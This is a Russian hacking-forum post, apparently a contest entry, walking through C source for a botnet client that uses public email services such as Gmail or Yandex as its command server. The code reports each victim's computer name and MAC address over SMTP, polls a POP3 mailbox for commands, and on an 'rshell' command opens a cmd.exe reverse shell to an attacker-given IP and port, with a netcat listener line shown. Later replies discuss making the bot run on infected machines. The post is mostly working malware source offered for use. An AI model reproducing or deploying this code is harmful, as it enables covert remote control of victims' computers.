Конкурс Ботнет в гранёном стакане

Статья для участия в Конкурсе программистов(Впервые на нашем форуме, объявляется конкурс программистов!)

Основная идея заключается в том, чтобы использовать в качестве сервера для контроля ботов любой общедоступный почтовый сервер - например Gmail, Yandex, Mail.ru.

Проект написан на Microsoft Visual Studio. Почти все бесплатные почтовые сервисы требуют шифрования для обмена данными именно поэтому мы будем использовать библиотеку OpenSSL.

Качаем openssl с сайта
Распаковываем и копируем папку с файлами из include\openssl\* в "%путь до Microsoft Visual Studio%"\VC\include. У меня это C:\Program Files\Microsoft Visual Studio 10.0\VC\include

Далее нам нужно скопировать два файла libeay32.lib и ssleay32.lib. Кладём их в папку с проектом в projects/mails/mails
У меня они уже там лежат.

Основная часть программы состоит из 3х функций:
1. Получение данных о системе - функция sysinfo
2. Отправка информационного сообщения на электронный адрес - функция sendinfo
3. Извлечение команды для бота из почтового сообщения - функция getcommand

Начнём с функции main:
C:
    // Инициализируем библиотеку для работы с windows сокетами
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2), &wsaData);

    // Инициализация библиотеки ssl
    SSLeay_add_ssl_algorithms();
    client_method = SSLv23_client_method();
    SSL_load_error_strings();
    SSL_library_init();

    // Функция получения информации о системе
    if (!sysinfo()) { ExitProcess(NULL); }

    // Поток на отправку информации о системе
    HANDLE htread;
    htread = CreateThread(0,0,sendinfo,0,0,0);
    if (htread == NULL)
    {
        ExitProcess(NULL);
    }

    // Поток на получение команды от сервера
    htread = CreateThread(0,0,getcommand,0,0,0);
    if (htread == NULL)
    {
        ExitProcess(NULL);
    }
    // Эта строка необходима, чтобы программа не завершалась после запуска потоков
    WaitForSingleObject( htread, INFINITE );

    WSACleanup();
    ExitProcess(NULL);

Далее рассмотрим функцию sysinfo().
Здесь мы получаем данные о системе и создаём наше будущее информационное сообщение.
Уникальным идентификатором системы я решил использовать MAC-адрес компьютера, он
понадобится, когда мы будем создавать команду для бота, но об этом позже…

Вначале мы получаем дату, время и имя компьютера, затем извлекаем MAC-адрес.
Далее формируем SMTP сообщение.

Функция sysinfo:
C:
BOOL WINAPI sysinfo()
{
    DWORD szName = 255;
    char computer[256];

    char date[32];
    char time[32];

    GetDateFormat(NULL,NULL,NULL,"ddMMyy",date,sizeof(date));
    GetTimeFormat(NULL,NULL,NULL,"hhtt':'mm':'ss",time,sizeof(time));
    GetComputerName(computer,&szName);

    memset(mac,0,sizeof(mac));
    if (!getdMacAddresses(mac,sizeof(mac))) { return false; }

    //Формируем SMTP заголовок для отправки нашего информационного сообщения
    memset(smtp_message,0,sizeof(smtp_message));
    strcpy(smtp_message,"Subject: ");
    strcat(smtp_message,computer);

    strcat(smtp_message,"\r\nMIME-Version: 1.0\r\n");
    strcat(smtp_message,"Content-Type: text/plain; charset=\"Windows-1251\"\r\n");
    strcat(smtp_message,"Content-Transfer-Encoding: 7bit\r\n\r\n");

    strcat(smtp_message,"\r\n mac: ");
    strcat(smtp_message,mac);

    strcat(smtp_message,"\r\n date: ");
    strcat(smtp_message,date);

    strcat(smtp_message,"\r\n time: ");
    strcat(smtp_message,time);

    strcat(smtp_message,"\r\n.\r\n");
    return true;
}

Функция получения MAC-адреса:
C:
bool getdMacAddresses(char *szBuffer,int sizeBuff)
{
    IP_ADAPTER_INFO AdapterInfo[32];       // Allocate information for up to 32 NICs
    DWORD dwBufLen = sizeof(AdapterInfo);  // Save memory size of buffer
    DWORD dwStatus = GetAdaptersInfo(      // Call GetAdapterInfo
        AdapterInfo,                 // [out] buffer to receive data
        &dwBufLen);                  // [in] size of receive data buffer

    if (dwStatus != ERROR_SUCCESS)
        return false;

    PIP_ADAPTER_INFO pAdapterInfo = AdapterInfo;
    while (pAdapterInfo)
    {
        if (pAdapterInfo->Type == MIB_IF_TYPE_ETHERNET)
        {
            sprintf_s(szBuffer, sizeBuff, "%.2x%.2x%.2x%.2x%.2x%.2x"
                , pAdapterInfo->Address[0]
                , pAdapterInfo->Address[1]
                , pAdapterInfo->Address[2]
                , pAdapterInfo->Address[3]
                , pAdapterInfo->Address[4]
                , pAdapterInfo->Address[5]
                );
            return true;
        }
        pAdapterInfo = pAdapterInfo->Next;
    }
    return false;
}

В моей программе я использовал один почтовый ящик, но никто не мешает
вам использовать разные email для отправки информационных сообщений и для получения команд.

Для аутентификации на SMTP сервере требуется передача логина и пароля закодированных в base64 для этого можно использовать командную строку linux:

perl -MMIME::Base64 -e 'print encode_base64("user8\@srv1.ru");'
perl -MMIME::Base64 -e 'print encode_base64("test111test");'

base64.png


Не забудьте слэш для собаки(@) в первой команде.

Файл config.h содержит переменные, которые вам нужно установить в свои значения.
Это: smtp_server, smtp_hello, smtp_user, smtp_pass, smtp_mail, smtp_rcpt,
pop_user, pop_pass, pop_server
Внимательно проверьте каждую...

Здесь также стоит обратить внимание на константы TSEND и TREAD - первая служит интервалом для отправки информационных сообщений через SMTP.
Вторая для чтения команд с POP-сервера.
Значение указывается в миллисекундах. 1000 - это 1 секунда.
Можете выставить любое значение.

Рассмотрим функцию sendinfo. Здесь нету ничего сложного.
Создаём клиентский SSL-контекст (SSL_CTX_new, SSL_new), связываем ssl структуру с сокетом(SSL_set_fd), отправка
сообщений с заданным интервалом. В коде я постарался минимизировать обработку ошибок, но никто не мешает вам её дописать ;)

C:
Функция  sendinfo:
DWORD WINAPI sendinfo(LPVOID lpParam)
{
    SSL *ssl;
    SSL_CTX *ctx;

    int err;
    char rbuff[2048];
    SOCKET sock;
    SOCKADDR_IN sockaddr_in;

    ctx = SSL_CTX_new(client_method);
    if (ctx == NULL) ExitProcess(NULL);

    ssl = SSL_new(ctx);    
    if (ssl == NULL) ExitProcess(NULL);

    SSL_CTX_free(ctx);

    while(true)
    {
        Sleep(TSEND);

        memset(&sockaddr_in,0,sizeof(sockaddr_in));

        char *hstaddr = GetIpByHostname(smtp_server);
        if (hstaddr == 0) { return false; }

        sockaddr_in.sin_addr.s_addr = inet_addr(hstaddr);
        sockaddr_in.sin_family = AF_INET;
        sockaddr_in.sin_port = htons(SMTP_PORT);

        sock = socket(AF_INET,SOCK_STREAM,0);

        if (sock != INVALID_SOCKET)
        {
            int result = connect(sock, (struct sockaddr *)&sockaddr_in, sizeof(sockaddr_in));
            if (result != SOCKET_ERROR)
            {
                SSL_set_fd(ssl, sock);
                err = SSL_connect(ssl);

                err = SSL_write(ssl, smtp_hello, strlen(smtp_hello));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));

                err = SSL_write(ssl, smtp_auth, strlen(smtp_auth));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));

                err = SSL_write(ssl, smtp_user, strlen(smtp_user));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));
          
                err = SSL_write(ssl, smtp_pass, strlen(smtp_pass));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));
          
                err = SSL_write(ssl, smtp_mail, strlen(smtp_mail));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));
          
                err = SSL_write(ssl, smtp_rcpt, strlen(smtp_rcpt));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));
          
                err = SSL_write(ssl, smtp_data, strlen(smtp_data));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));
          
                err = SSL_write(ssl, smtp_message, strlen(smtp_message));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));
          
                err = SSL_write(ssl, smtp_quit, strlen(smtp_quit));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));
            }
        }
    closesocket(sock);
    }
}

information.png


Основное сердце программы - функция getcommand.
Здесь стоит обратить внимание на формирование строки в переменной uniq:
char uniq[32];
strcpy(uniq,"uid");
strcat(uniq,mac);
strcat(uniq,"*");

Функция strsub будет искать именно эту строку в письме. И если не найдёт, то перейдёт к другому письму и т.д.
C:
/*
  *--------------------------------------------------------------------------------------
  * Функция поиска подстроки
  *
  * str1 - строка в которой ищем подстроку
  * size1 - размер строки str1
  * str2 - подстрока
  * size2 - размер подстроки str2
  *
  * Возвращает NULL если подстрока не найдена
  *--------------------------------------------------------------------------------------
  */
char* WINAPI strsub(char *str1,int size1,char *str2,int size2)
{
    LPSTR result = NULL;
    for(INT i = 0; i < size1; i++)
    {
        if(str1[I] == str2[0])
        {
            for(INT j = 0; j < size2; j++)
            {
                if(str1[i+j] == str2[j])
                {
                    result = (str1+i);
                }
                else
                {
                    result = NULL;
                    break;
                }
            }
            if(result != NULL)
            {
                return result;
            }
        }
    }
    return result;
}
[/I]

Для нашего теста я отправлю самому себе команду в поле Subject.
Она будет формироваться по следующему шаблону:
uid%macaddr%*%command%*%param1%:%param2%


Полностью команда будет выглядеть так:
uid080027e6d096*rshell*192.168.56.10:31337
command1.png


Внимание! В Вашем примере строка будет отличаться. Изменится MAC-адрес!

Функция getcommand:
C:
DWORD WINAPI getcommand(LPVOID lpParam)
{
    SSL *ssl;
    SSL_CTX *ctx;

    int cmdfound;
    int err;
    char cmdbuff[32];
    char rbuff[4096];
    SOCKET sock;
    SOCKADDR_IN sockaddr_in;

    ctx = SSL_CTX_new(client_method);
    if (ctx == NULL) ExitProcess(NULL);

    ssl = SSL_new(ctx);
    if (ssl == NULL) ExitProcess(NULL);

    SSL_CTX_free(ctx);

    // Формируем уникальную строку для поиска команды в сообщении
    // Формат команды: uid%macaddr%*%command%*%param1%:%param2%
    char uniq[32];
    strcpy(uniq,"uid");
    strcat(uniq,mac);
    strcat(uniq,"*");

    while(true)
    {
        Sleep(TREAD);
        memset(&sockaddr_in,0,sizeof(sockaddr_in));

        char *hstaddr = GetIpByHostname(pop_server);
        if (hstaddr == 0) { return false; }

        sockaddr_in.sin_addr.s_addr = inet_addr(hstaddr);
        sockaddr_in.sin_family = AF_INET;
        sockaddr_in.sin_port = htons(POP_PORT);

        sock = socket(AF_INET,SOCK_STREAM,0);

        if (sock != INVALID_SOCKET)
        {
            int result = connect(sock, (struct sockaddr *)&sockaddr_in, sizeof(sockaddr_in));
            if (result != SOCKET_ERROR)
            {
                SSL_set_fd(ssl, sock);
                err = SSL_connect(ssl);

                memset(&rbuff,0,sizeof(rbuff));

                err = SSL_read(ssl, rbuff, sizeof(rbuff));

                err = SSL_write(ssl, pop_user, strlen(pop_user));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));

                err = SSL_write(ssl, pop_pass, strlen(pop_pass));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));

                err = SSL_write(ssl, pop_stat, strlen(pop_stat));
                err = SSL_read(ssl, rbuff, sizeof(rbuff));

                // Получаем статус запроса и кол-во сообщений
                char *stat = strtok(rbuff, " ");
                char *msgs = strtok(NULL, " ");
                int msgsc = atoi(msgs);
           
                // Если что-то не так - выходим
                if (strcmp(stat,"+OK") > 0)
                {
                    err = SSL_write(ssl, pop_quit, strlen(pop_quit));
                    err = SSL_read(ssl, rbuff, sizeof(rbuff));
                    closesocket(sock);
                    continue;
                }

                // Если нету сообщений, то выходим
                if (msgsc == 0)
                {
                    err = SSL_write(ssl, pop_quit, strlen(pop_quit));
                    err = SSL_read(ssl, rbuff, sizeof(rbuff));
                    closesocket(sock);
                    continue;
                }
                cmdfound=0;

                // Читаем сообщения
                for (int i=1;i<=msgsc;i++)
                {
                    memset(&rbuff,0,sizeof(rbuff));
                    wsprintf(cmdbuff,"%s%d%s",pop_retr,i,crlf);
                    err = SSL_write(ssl, cmdbuff, strlen(cmdbuff));
                    err = SSL_read(ssl, rbuff, sizeof(rbuff));

                    int msgsize = err;
                    for (int j=0;j<msgsize;j++)
                    {
                        // Ищем уникальную строку в сообщении
                        char *cmdtag = strsub(rbuff+j,msgsize-j,uniq,lstrlen(uniq));
                        if (cmdtag)
                        {
                                char *uid = strtok(cmdtag,"*");
                                char *cmd = strtok(NULL,"*");
                                char *args = strtok(NULL,"\r\n");

                                // Проверяем какая команда прилетела. у нас пока только одна
                                if (strcmp(cmd,"rshell")==0)
                                {
                                    // Получаем аргументы команды ip и порт
                                    char *ip = strtok(args,":");
                                    char *port = strtok(NULL,":");

                                    // Реверс шелл cmd.exe
                                    revshell(ip,atoi(port));
                                }

                                // удаляем письмо с командой
                                wsprintf(cmdbuff,"%s%d%s",pop_dele,i,crlf);
                                err = SSL_write(ssl, cmdbuff, strlen(cmdbuff));
                                err = SSL_read(ssl, rbuff, sizeof(rbuff));
                                cmdfound = true;
                                break;
                        }
                    }
                if (cmdfound) break;
                }
            err = SSL_write(ssl, pop_quit, strlen(pop_quit));
            err = SSL_read(ssl, rbuff, sizeof(rbuff));
            }
        }
        closesocket(sock);
    }
}

После парсинга команды вызывается функция revshell, которая запускает cmd.exe и устанавливает удалённое соединение . В нашем случае это 192.168.56.10 порт 31337

Функция revshell:
C:
bool WINAPI revshell(char* ip, u_short port)
{
    SOCKET sock;
    struct sockaddr_in hax;
    STARTUPINFO sui;
    PROCESS_INFORMATION pi;

    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,
        (unsigned int)NULL, (unsigned int)NULL);
    if (sock != INVALID_SOCKET)
    {
        hax.sin_family = AF_INET;
        hax.sin_port = htons(port);
        hax.sin_addr.s_addr = inet_addr(ip);

        if (WSAConnect(sock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL)== 0)
        {
            memset(&sui, 0, sizeof(sui));
            sui.cb = sizeof(sui);
            sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
            sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) sock;

            TCHAR commandLine[256] = "cmd.exe";
            if(CreateProcess(NULL, commandLine, NULL, NULL, TRUE,0, NULL, NULL, &sui, &pi) == 0) { closesocket(sock); return false; }
        }
        closesocket(sock);
        return true;
    }
    return false;
}

На 192.168.56.10 в консоли запускаем:
nc -vlp 31337
и получаем заветный шелл )

Ссылка на исходники:
Пасс: codeby.net

Вообщем это всё что хотелось показать.
Приветствуется любая критика.
 
Последнее редактирование:

Сергей Попов

Кодебай
30.12.2015
4 718
6 702
BIT
417

elfear

Green Team
03.05.2018
18
15
BIT
0
@elfear здравствуйте. Рад, Вашей публикации. Укажите пожалуйста в начале темы принадлежность к конкурсу. На текущий момент актуальны оба:
Конкурс 2018 года - авторская статья по любой тематике нашего форума!
Впервые на нашем форуме, объявляется конкурс программистов!
Не могу вставить ссылку в начало сообщения. Пишет:
Упс! Мы столкнулись с некоторыми проблемами. Пожалуйста, попробуйте позже...

+ Пытался в конец сообщения добавить ещё один скрин. Аналогичная проблема

add: Получилось добавить ссылку напрямую без редактора тегов
 
Последнее редактирование:
  • Нравится
Реакции: Сергей Попов

Doctor zlo

Green Team
18.05.2017
83
35
BIT
0
Ссылка на исходники не действительна. Автор можешь перезалить?
 

morgot

Green Team
25.07.2018
74
35
BIT
2
В теории оно круто, но есть нюанс - откуда бот возьмет дллку на зараженной машине? Тогда надо или слинковать бота с опенссл, или откуда-то скачать либу, или все таки взять реализацию попроще (polarSSL, своя на криптоапи).
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!